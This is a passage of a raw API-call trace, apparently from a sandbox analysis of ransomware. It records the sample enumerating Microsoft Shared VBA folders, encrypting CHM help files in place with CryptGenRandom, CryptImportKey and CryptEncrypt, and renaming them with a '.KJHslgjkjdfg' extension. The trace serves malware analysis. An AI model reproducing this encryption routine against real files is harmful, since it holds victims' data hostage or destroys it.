ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b64e8 [0179.619] GetProcessHeap () returned 0x990000 [0179.619] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0179.619] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0179.619] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1 [0179.619] GetProcessHeap () returned 0x990000 [0179.619] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x280) returned 0x9f9760 [0179.619] GetProcessHeap () returned 0x990000 [0179.619] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8a) returned 0x9b0940 [0179.619] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0179.620] GetProcessHeap () returned 0x990000 [0179.620] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0179.620] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0179.620] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0179.620] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0179.621] GetProcessHeap () returned 0x990000 [0179.621] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x990000) returned 1 [0179.621] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 0 [0179.621] FindClose (in: hFindFile=0x9b64e8 | out: hFindFile=0x9b64e8) returned 1 [0179.621] GetProcessHeap () returned 0x990000 [0179.621] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9760 | out: hHeap=0x990000) returned 1 [0179.621] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VBA", cAlternateFileName="")) returned 1 [0179.621] GetProcessHeap () returned 0x990000 [0179.621] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x76) returned 0x9a9d68 [0179.621] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*.*", lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b64e8 [0179.622] GetProcessHeap () returned 0x990000 [0179.622] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9a9d68 | out: hHeap=0x990000) returned 1 [0179.622] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0179.623] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VBA7", cAlternateFileName="")) returned 1 [0179.623] GetProcessHeap () returned 0x990000 [0179.623] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x278) returned 0x9f9760 [0179.623] GetProcessHeap () returned 0x990000 [0179.623] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x80) returned 0x9b0940 [0179.623] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0179.623] GetProcessHeap () returned 0x990000 [0179.623] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0179.623] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0179.623] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1 [0179.623] GetProcessHeap () returned 0x990000 [0179.623] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x282) returned 0x9b1eb0 [0179.623] GetProcessHeap () returned 0x990000 [0179.623] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8a) returned 0x9b0940 [0179.623] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*.*", lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6668 [0179.629] GetProcessHeap () returned 0x990000 [0179.629] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0179.629] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0179.629] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1574f00, ftCreationTime.dwHighDateTime=0x1be23e3, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1574f00, ftLastWriteTime.dwHighDateTime=0x1be23e3, nFileSizeHigh=0x0, nFileSizeLow=0x51a5b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FM20.CHM", cAlternateFileName="")) returned 1 [0179.629] GetProcessHeap () returned 0x990000 [0179.629] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x28c) returned 0x9fd9f0 [0179.629] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0179.630] GetProcessHeap () returned 0x990000 [0179.630] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0179.630] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0179.630] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0179.630] WriteFile (in: hFile=0xf0, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0x5, lpOverlapped=0x0) returned 1 [0179.632] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0179.632] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0179.632] GetProcessHeap () returned 0x990000 [0179.632] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0179.632] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30) returned 1 [0179.632] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0179.633] WriteFile (in: hFile=0xf0, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29ded60*=0x30, lpOverlapped=0x0) returned 1 [0179.633] WriteFile (in: hFile=0xf0, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0179.633] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0179.633] WriteFile (in: hFile=0xf0, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0179.633] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0179.633] WriteFile (in: hFile=0xf0, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0179.633] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0179.633] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0179.633] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.633] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x51a5b, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x51a5b, lpOverlapped=0x0) returned 1 [0179.640] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x51a60, dwBufLen=0x51a60 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x51a60) returned 1 [0179.643] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.643] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x51a60, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x51a60, lpOverlapped=0x0) returned 1 [0179.645] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0179.645] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x51b24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.645] SetEndOfFile (hFile=0xf0) returned 1 [0179.647] GetProcessHeap () returned 0x990000 [0179.648] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0179.648] GetProcessHeap () returned 0x990000 [0179.648] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0179.648] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm.kjhslgjkjdfg")) returned 1 [0179.653] CloseHandle (hObject=0xf0) returned 1 [0179.653] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edd8500, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6edd8500, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1ac96, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VBCN6.CHM", cAlternateFileName="")) returned 1 [0179.653] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0179.654] GetProcessHeap () returned 0x990000 [0179.654] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0179.654] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0179.654] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0179.654] WriteFile (in: hFile=0xf0, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0xa, lpOverlapped=0x0) returned 1 [0179.656] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0179.656] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0179.656] GetProcessHeap () returned 0x990000 [0179.656] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0179.656] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30) returned 1 [0179.656] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0179.656] WriteFile (in: hFile=0xf0, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29ded60*=0x30, lpOverlapped=0x0) returned 1 [0179.656] WriteFile (in: hFile=0xf0, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0179.657] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0179.657] WriteFile (in: hFile=0xf0, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0179.657] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0179.657] WriteFile (in: hFile=0xf0, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0179.657] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0179.657] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0179.657] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.657] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1ac96, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x1ac96, lpOverlapped=0x0) returned 1 [0179.660] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x1aca0, dwBufLen=0x1aca0 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x1aca0) returned 1 [0179.661] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.661] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1aca0, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x1aca0, lpOverlapped=0x0) returned 1 [0179.662] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0179.662] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1ad64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.662] SetEndOfFile (hFile=0xf0) returned 1 [0179.665] GetProcessHeap () returned 0x990000 [0179.665] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0179.665] GetProcessHeap () returned 0x990000 [0179.665] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0179.666] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm.kjhslgjkjdfg")) returned 1 [0179.666] CloseHandle (hObject=0xf0) returned 1 [0179.672] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f2be900, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5f2be900, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x25d50, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VBE7INTL.DLL", cAlternateFileName="")) returned 1 [0179.672] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d2ba100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7d2ba100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1195f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VBENDF98.CHM", cAlternateFileName="")) returned 1 [0179.672] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0179.673] GetProcessHeap () returned 0x990000 [0179.673] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0179.673] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0179.673] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0179.674] WriteFile (in: hFile=0xf0, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0x1, lpOverlapped=0x0) returned 1 [0179.676] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0179.676] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, 